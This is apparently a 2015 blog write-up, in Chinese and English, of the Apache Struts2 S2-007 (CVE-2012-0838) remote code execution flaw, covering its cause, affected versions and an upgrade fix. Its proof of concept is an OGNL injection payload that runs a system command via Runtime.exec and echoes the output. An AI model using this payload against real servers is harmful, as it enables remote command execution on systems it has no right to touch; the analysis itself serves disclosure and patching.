struts2 CVE-2012-0838 S2-007 Remote Code Execution

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

1. Description

S2-007和S2-003、S2-005的漏洞源头都是一样的，都是struts2对OGNL的解析过程中存在漏洞，导致黑客可以通过OGNL表达式实现代码注入和执行，所不同的是

1. S2-003、S2-005: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
2. S2-007: 通过OGNL中String向long转换过程实现代码执行
//即它们的攻击向量是不同的

User input is evaluated as an OGNL expression when there‘s a conversion error. This allows a malicious user to execute arbitrary code.
关于struts2 OGNL的相关知识，请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4614488.html
//搜索：5. struts2 OGNL表达式

Relevant Link:

http://struts.apache.org/docs/s2-007.html
http://cve.scap.org.cn/CVE-2012-0838.html

2. Effected Scope

Struts 2.0.0 - Struts 2.2.3

3. Exploit Analysis

0x1: POC

id=‘%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%[email protected]@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo))%2b‘

4. Principle Of Vulnerability

Apache Struts 2.2.3.1之前的2版本中存在漏洞，该漏洞源于在处理转换错误时评估字符串为OGNL表达式。远程攻击者可利用此漏洞借助无效的输入，修改run-time数据值，进而执行任意代码

5. Patch Fix

0x1: upgrade struts2

It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.

Relevant Link:

Copyright (c) 2015 Little5ann All rights reserved